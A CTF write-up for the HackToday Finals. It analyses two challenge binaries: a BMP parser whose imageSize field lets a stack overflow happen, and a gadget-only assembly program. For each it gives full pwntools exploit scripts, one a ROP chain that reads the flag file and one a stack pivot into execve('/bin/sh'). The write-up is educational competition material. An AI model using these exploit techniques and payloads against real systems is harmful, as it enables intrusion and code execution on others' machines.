HackToday Finals
stegoscan 🥇
Binary Exploitation
yqroo wants a job
Binary Exploitation
stegoscan 🥇
Analysis
given a binary called stegoscan
, first lets check its type and security mechanism
└──╼ [★]$ file stegoscan
stegoscan: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=984429b7f4d456663e5c4dbd7050a337e0530bbb, for GNU/Linux 3.2.0, not stripped
└──╼ [★]$ pwn checksec stegoscan
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
luckily the author is kind enough to provide the source code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#define MIN_IMGSIZE 400 // 20x20
#define MAX_IMGSIZE 900 // 30x30
#define TRIGGER_SIZE 15
uint8_t trigger[] = "hanasuru's-fans";
typedef struct {
char signature[2];
uint32_t fileSize;
uint32_t reserved;
uint32_t dataOffset;
uint32_t headerSize;
int32_t width;
int32_t height;
uint16_t colorPlanes;
uint16_t bitsPerPixel;
uint32_t compression;
uint32_t imageSize;
int32_t horizontalResolution;
int32_t verticalResolution;
uint32_t numColors;
uint32_t importantColors;
} BMPFile;
void error(const char *error) {
printf("ERROR: %s\n", error);
exit(-1);
}
BMPFile *loadBitmap(FILE *file) {
BMPFile *bmp = (BMPFile *)malloc(sizeof(BMPFile));
if(bmp == NULL)
error("Bitmap struct heap allocation failed.");
// Read file headers
fread(&bmp->signature, sizeof(char), 2, file);
fread(&bmp->fileSize, sizeof(uint32_t), 1, file);
fread(&bmp->reserved, sizeof(uint32_t), 1, file);
fread(&bmp->dataOffset, sizeof(uint32_t), 1, file);
fread(&bmp->headerSize, sizeof(uint32_t), 1, file);
fread(&bmp->width, sizeof(int32_t), 1, file);
fread(&bmp->height, sizeof(int32_t), 1, file);
fread(&bmp->colorPlanes, sizeof(uint16_t), 1, file);
fread(&bmp->bitsPerPixel, sizeof(uint16_t), 1, file);
fread(&bmp->compression, sizeof(uint32_t), 1, file);
fread(&bmp->imageSize, sizeof(uint32_t), 1, file);
fread(&bmp->horizontalResolution, sizeof(int32_t), 1, file);
fread(&bmp->verticalResolution, sizeof(int32_t), 1, file);
fread(&bmp->numColors, sizeof(uint32_t), 1, file);
fread(&bmp->importantColors, sizeof(uint32_t), 1, file);
// signature bytes check
if(bmp->signature[0] != 'B' || bmp->signature[1] != 'M')
error("Invalid file signature.");
// min-max size check
if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
error("Invalid bitmap size. The acceptaple resolution range is 20x20 to 30x30.");
// square bitmap check
if(bmp->width != bmp->height)
error("Invalid bitmap resolution. Only square bitmaps are processed.");
return bmp;
}
int sequenceDetected(const uint8_t *arr, uint32_t size) {
for(int i=0; i<(size-TRIGGER_SIZE + 1); ++i) {
if(memcmp(arr+i, trigger, TRIGGER_SIZE) == 0)
return 1;
}
return 0;
}
void scan(const uint8_t *bitmap, uint32_t dim) {
for(int i = 0; i < dim; ++i) {
printf("[%02d] : ", i + 1);
if(sequenceDetected(bitmap+(i * dim), dim))
printf("FAIL\n");
else
printf("PASS\n");
}
}
int main(int argc, char **argv) {
if(argc < 2)
error("No file provided as an argument.");
size_t len = strlen(argv[1]);
if(len >= 4 && strcmp(argv[1]+len-4, ".bmp"))
error("Invalid file extension. Only accepting .bmp files.");
FILE *file = fopen(argv[1], "rb");
if(file == NULL)
error("Failed to open file.");
BMPFile *bmp = loadBitmap(file);
fseek(file, bmp->dataOffset, SEEK_SET);
uint8_t pixelBuf[bmp->imageSize];
int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
pixelBuf[i++] = (uint8_t)c;
scan(pixelBuf, bmp->width);
fclose(file);
return 0;
}
__attribute__((constructor))
void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
the gist of the program is that it will parse a .bmp
file and does an egghunt for the string "hanasuru's-fans" within the data.
we're also given a dummy.bmp
to test the program's functionality

looking through this blog I understand a bit more of the .bmp
format:

as we can see the, the program parses all of the 4 section but the ColorTable
section (thankfully by the author to reduce complexity hehe)
next, the program does some validation, such as:
signature check
if(bmp->signature[0] != 'B' || bmp->signature[1] != 'M')
error("Invalid file signature.");
minimum and maximum size
if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
error("Invalid bitmap size. The acceptaple resolution range is 20x20 to 30x30.");
dimension
if(bmp->width != bmp->height)
error("Invalid bitmap resolution. Only square bitmaps are processed.");
the vulnerability lies here:
fseek(file, bmp->dataOffset, SEEK_SET);
uint8_t pixelBuf[bmp->imageSize];
int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
pixelBuf[i++] = (uint8_t)c;
the pixelBuf
array is initialized with the size of imageSize
, however fgetc
reads until EOF
.
imageSize
is just a variable within the .bmp
format and can be set arbitrarily without having to be the same as the actual .bmp
size. this means it's possible to have the RasterData
's size data section bigger than what is specified in imageSize
. thus enabling a buffer overflow.
Exploitation
this type of challenge is called a one shot since we can only interact with the binary once and give our payload input only once, rather different than the usual heap CRUD if you're familiar with it where you can interact with it multiple times.
considering the binary is statically linked with no pie and canary, a one shot here is definitely feasible relatively easy.
to start with, let's create a function to craft our payload according to the .bmp
format we saw before
def build_bmp(signature=b'BM', fileSize=0, reserved=0, dataOffset=54, headerSize=40, width=30, height=30, colorPlanes=1,bitsPerPixel=24, compression=0, imageSize=500, horizontalResolution=2835, verticalResolution=2835, numColors=0, importantColors=0, RasterData=None):
pass
next we'll make sure for the checks mentioned above are satisfied
# challenge specific checks
if imageSize < MIN_IMGSIZE:
raise ValueError('Image size is too small')
if imageSize > MAX_IMGSIZE:
raise ValueError('Image size is too large')
if width != height:
raise ValueError('Only square images are supported')
next we'll format the Header
and InfoHeader
sections
# Pack BMP header (14 bytes)
bmp_header = struct.pack('<2sIHHI', signature, fileSize, reserved, reserved, dataOffset)
# Pack DIB header (40 bytes)
dib_header = struct.pack('<IIIHHIIIIII', headerSize, width, height, colorPlanes, bitsPerPixel,compression, imageSize, horizontalResolution, verticalResolution, numColors, importantColors)
next, we'll combine all the section plus the raw RasterData
which will contain our payload
bmp_data = bmp_header + dib_header + RasterData
return bmp_data
next to test if we can control execution's flow, we'll send the usual cyclic payload
payload = cyclic(600)
with open(exploit_bmp, "wb") as f:
f.write(build_bmp(
width=20,
height=20,
imageSize=400,
dataOffset=66,
RasterData=payload
))
however after a few run, most of the time it crashes because of a pointer dereference, I'm not sure why and what part causes it, but I decided to not care about it.
the time it succeded we get the offset of 488

due to the unreliableness, I decided to test it a few more times and found out that there would be occurrences where the offset will be different such as follow

to accomodate for it, at the start of the payload I sprayed a bunch of ret
gadget to act as a ret slep.
payload += flat({
0: [
p64(RET) * 10, # ret slep, some brute needed, just upload the same generated payload again
# ... snippet
]
})
next, I'll use the exact same method and gadget I explained in my previous writeup to write the string path to flag.txt
payload += flat({
0: [
# ... snippet
mov(pivot, u64(b'/home/ctf/flag.txt'[0:8])),
mov(pivot+8, u64(b'/home/ctf/flag.txt'[8:16])),
mov(pivot+16, u64(b'xt'.ljust(8, b'\x00'))),
# ... snippet
]
})
and the rest of the payload would be the usual ORW.
the reason why I didn't decide to execve and spawn a shell is because the challenge is interfaced through a website where we would upload a .bmp
and it will then ran againts the program, then the output will be given back to us.
here's the final payload being given to the site:

below is the full exploit:
#!/usr/bin/env python3
from pwn import *
import struct
# =========================================================
# SETUP
# =========================================================
exe = './challenge/stegoscan'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'http://103.226.139.23:1337', 1337
exploit_bmp = './exploit.bmp'
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + [exploit_bmp], gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + [exploit_bmp])
gdbscript = '''
init-pwndbg
# main's ret
break *0x401e2e
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
# pwndbg> !file ./challenge/stegoscan
# ./challenge/stegoscan: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=984429b7f4d456663e5c4dbd7050a337e0530bbb, for GNU/Linux 3.2.0, not stripped
# └──╼ [★]$ pwn checksec challenge/stegoscan
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# http://www.ue.eti.pg.gda.pl/fpgalab/zadania.spartan3/zad_vga_struktura_pliku_bmp_en.html
MIN_IMGSIZE = 400
MAX_IMGSIZE = 900
def build_bmp(signature=b'BM', fileSize=0, reserved=0, dataOffset=54,
headerSize=40, width=30, height=30, colorPlanes=1,
bitsPerPixel=24, compression=0, imageSize=500,
horizontalResolution=2835, verticalResolution=2835,
numColors=0, importantColors=0, RasterData=None):
# challenge specific checks
if imageSize < MIN_IMGSIZE:
raise ValueError('Image size is too small')
if imageSize > MAX_IMGSIZE:
raise ValueError('Image size is too large')
if width != height:
raise ValueError('Only square images are supported')
# Pack BMP header (14 bytes)
bmp_header = struct.pack('<2sIHHI', signature, fileSize, reserved, reserved, dataOffset)
# Pack DIB header (40 bytes)
dib_header = struct.pack('<IIIHHIIIIII', headerSize, width, height, colorPlanes, bitsPerPixel,
compression, imageSize, horizontalResolution, verticalResolution,
numColors, importantColors)
bmp_data = bmp_header + dib_header + RasterData
return bmp_data
MOV_RDX_TO_PTR_RSI = 0x0000000000488cea
POP_RAX = 0x0000000000450847
POP_RDI = 0x000000000040253f
POP_RDX_RBX = 0x00000000004868eb
POP_RSI = 0x000000000040a5ae
SYSCALL = 0x00000000004022f4
RET = 0x000000000040101a
def mov(where, what):
return flat([
POP_RDX_RBX,
what,
0x0,
POP_RSI,
where,
MOV_RDX_TO_PTR_RSI
])
def exploit():
global io
rop = ROP(elf)
SYSCALL = rop.find_gadget(['syscall', 'ret'])[0]
pivot = elf.bss() + 0x200
payload = cyclic(448) + p64(pivot) #+ cyclic(400) # can be 0 or 32
payload += flat({
0: [
p64(RET) * 10, # ret slep, some brute needed, just upload the same generated payload again
mov(pivot, u64(b'/home/ctf/flag.txt'[0:8])),
mov(pivot+8, u64(b'/home/ctf/flag.txt'[8:16])),
mov(pivot+16, u64(b'xt'.ljust(8, b'\x00'))),
POP_RDI,
pivot,
POP_RSI,
0,
POP_RDX_RBX,
0,
0,
POP_RAX,
2,
SYSCALL,
POP_RDI,
3,
POP_RSI,
pivot,
POP_RDX_RBX,
0x40,
0,
POP_RAX,
0,
SYSCALL,
POP_RDI,
1,
POP_RAX,
1,
SYSCALL
]
})
with open(exploit_bmp, "wb") as f:
f.write(build_bmp(
width=20,
height=20,
imageSize=400,
dataOffset=66,
RasterData=payload
))
io = initialize()
log.success("pivot: %#x", pivot)
io.interactive()
if __name__ == '__main__':
exploit()
yqroo wants a job
Analysis
we're given another binary this time with no source code
└──╼ [★]$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
└──╼ [★]$ pwn checksec vuln
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
the binary itself is made out of assembly

seeing the other sections in ghidra I noticed a suspicious part

turns out it's a bunch of gadgets
pwndbg> x/40i 0x401000
0x401000: pop rbx
0x401001: pop rsp
0x401002: pop rdi
0x401003: pop rdx
0x401004: pop rsi
0x401005: pop rcx
0x401006: jmp QWORD PTR [rsi-0x25]
0x401009: add rdx,rcx
0x40100c: jmp QWORD PTR [rdx-0x45]
0x40100f: nop
0x401010: nop
0x401011: jmp QWORD PTR [rcx-0x11]
0x401014: add eax,edi
0x401016: jmp QWORD PTR [rcx]
0x401018: pop rbx
0x401019: jmp QWORD PTR [rcx+0x47]
0x40101c: jmp QWORD PTR [rsp-0x64]
0x401020: xor rdx,rdx
0x401023: add rcx,rax
0x401026: xor rbx,rcx
0x401029: jmp rbx
0x40102b: add rcx,QWORD PTR [rsp+0x18]
0x401030: jmp QWORD PTR [rdx-0x1d]
0x401033: sub rsi,rbx
0x401036: jmp QWORD PTR [rcx]
0x401038: xchg rsi,rdi
0x40103b: fwait
0x40103c: sub rax,rcx
0x40103f: jmp QWORD PTR [rdi+0xb]
0x401042: mul bl
0x401044: nop
0x401045: stc
0x401046: xchg rcx,rdx
0x401049: jmp QWORD PTR [rcx]
0x40104b: push rsp
0x40104c: mov dx,0x8
0x401050: inc dil
0x401053: mov rsi,rsp
0x401056: inc
running the program, it wil give a stack leak which is the address where our buffer starts

Exploitation
so the goal is quite simple, we have a buffer overflow and somehow we need to chain the gadgets to achieve code execution.
first thing to note is that the program doesn't return but rather jump
0040106d ff 24 24 JMP qword ptr [RSP]=>local_8
let's do the basic cyclic test with cyclic(0x200)

as you can see, our payload overflowed 16 bytes in total, with the first 8 bytes being the address where we want to jump.
this is relevant because notice in our gadget we have bunch of pop gadgets but they will be no use if we can't control what's being popped.
in order to call execve, we need to control RAX, RSI, RSI and RDX. after a bit of thought and trial error, two of these gadget are enough:
Gadget 1:
0x401000: pop rbx
0x401001: pop rsp
0x401002: pop rdi
0x401003: pop rdx
0x401004: pop rsi
0x401005: pop rcx
0x401006: jmp QWORD PTR [rsi-0x25]
Gadget 2:
0x40103c: sub rax,rcx
0x40103f: jmp QWORD PTR [rdi+0xb]
through the first gadget, we will able to control all of the registers but RAX, which will be controlled through the second gadget.
do notice that we can control RAX in the second gadget if we are able to control RCX in the first gadget.
first since the overflow is not enough to fully utilize the pop gadgets, we will need to do a stack pivot to the start of our payload. to do this let's calculate the offset from the leaked stack address

payload = cyclic(99)
payload += flat([
0x401000, # will go to rbx
(stack-0x6b)
])
with that we're able to control RDX, RDI and RSI

next we'll discuss what to set those register with
RDX
this is quite meaningless so we'll set it to NULL
RSI
RSI is quite important as it is how we'll able to chain to the next gadget, it has to contain an address which contain a pointer to our next gadget as it is a jump dereference
0x401006: jmp QWORD PTR [rsi-0x25]
RDI
same as RSI, however this is chained in our second gadget:
0x40103f: jmp QWORD PTR [rdi+0xb]
the target where we wanna jump to is of course, the syscall call.
RCX
RCX is relevant because it's what's will control RAX in the second gadget:
0x40103c: sub rax,rcx
in the last screenshot, RAX was 0x73 thus to achieve RAX = 0x3b, RCX must be 0x38
combining all our payload now would be:
payload = b''
payload += flat([
stack-0x4b+0x8-0xb, # rdi (start of (stack-0x6b)) also points to -> &(0x40105a)
0x0, # rdx
stack-0x4b+0x25, # rsi -> points to &(0x40103c)
0x38, # rcx
0x40103c, # is *(stack-0x4b+0x25), i.e. target for `jmp QWORD PTR [rsi-0x25]`
0x40105a, # is target for `jmp QWORD PTR [rdi+0xb]`
])
payload += b'\x00' * (99-len(payload))
payload += flat([
0x401000, # will go to rbx
(stack-0x6b)
])
io.send(payload)

and we're able to hit execve, one small thing is that now RDI points to memory that contains one of our address, we can simply fix this by adjusting the offset where our pointer and the /bin/sh is located
payload = b''
payload += flat([
stack-0x4b+0x18-0x4-0xb,# rdi (start of (stack-0x6b)) also points to -> &(0x40105a)
0x0, # rdx
stack-0x4b+0x25, # rsi -> points to &(0x40103c)
0x38, # rcx
0x40103c, # is *(stack-0x4b+0x25), i.e. target for `jmp QWORD PTR [rsi-0x25]`
])
payload += b'\x00/bin/sh'
payload += p32(0x0) + p32(0x40105a)
payload += b'\x00' * (99-len(payload))
payload += flat([
0x401000, # will go to rbx
(stack-0x6b)
])
and thus pwned

here's the full exploit:
#!/usr/bin/env python3
from pwn import *
from subprocess import run
# =========================================================
# SETUP
# =========================================================
exe = './vuln'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = '103.226.139.23', 31337
def initialize(argv=[]):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript)
elif args.REMOTE:
return remote(host, port)
else:
return process([exe] + argv)
gdbscript = '''
init-pwndbg
break *0x040106d
'''.format(**locals())
# =========================================================
# EXPLOITS
# =========================================================
# └──╼ [★]$ file vuln
# vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
# ┌─[192.168.83.128]─[halcyon@parrot]─[~/SharedFolder/finals/yqroo wants a job]
# └──╼ [★]$ pwn checksec vuln
# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX unknown - GNU_STACK missing
# PIE: No PIE (0x400000)
# Stack: Executable
# gadgets:
# pwndbg> x/40i 0x401000
# 0x401000: pop rbx
# 0x401001: pop rsp
# 0x401002: pop rdi
# 0x401003: pop rdx
# 0x401004: pop rsi
# 0x401005: pop rcx
# 0x401006: jmp QWORD PTR [rsi-0x25]
# 0x401009: add rdx,rcx
# 0x40100c: jmp QWORD PTR [rdx-0x45]
# 0x40100f: nop
# 0x401010: nop
# 0x401011: jmp QWORD PTR [rcx-0x11]
# 0x401014: add eax,edi
# 0x401016: jmp QWORD PTR [rcx]
# 0x401018: pop rbx
# 0x401019: jmp QWORD PTR [rcx+0x47]
# 0x40101c: jmp QWORD PTR [rsp-0x64]
# 0x401020: xor rdx,rdx
# 0x401023: add rcx,rax
# 0x401026: xor rbx,rcx
# 0x401029: jmp rbx
# 0x40102b: add rcx,QWORD PTR [rsp+0x18]
# 0x401030: jmp QWORD PTR [rdx-0x1d]
# 0x401033: sub rsi,rbx
# 0x401036: jmp QWORD PTR [rcx]
# 0x401038: xchg rsi,rdi
# 0x40103b: fwait
# 0x40103c: sub rax,rcx
# 0x40103f: jmp QWORD PTR [rdi+0xb]
# 0x401042: mul bl
# 0x401044: nop
# 0x401045: stc
# 0x401046: xchg rcx,rdx
# 0x401049: jmp QWORD PTR [rcx]
def exploit():
global io
io = initialize()
stack = u64(io.recv(8))
payload = b''
payload += flat([
stack-0x4b+0x18-0x4-0xb,# rdi (start of (stack-0x6b)) also points to -> &(0x40105a)
0x0, # rdx
stack-0x4b+0x25, # rsi -> points to &(0x40103c)
0x38, # rcx
0x40103c, # is *(stack-0x4b+0x25), i.e. target for `jmp QWORD PTR [rsi-0x25]`
])
payload += b'\x00/bin/sh'
payload += p32(0x0) + p32(0x40105a)
payload += b'\x00' * (99-len(payload))
payload += flat([
0x401000, # will go to rbx
(stack-0x6b)
])
io.send(payload)
log.success('stack: %#x', stack)
log.success('new rsp: %#x', stack-0x6b)
io.interactive()
if __name__ == '__main__':
exploit()
Last updated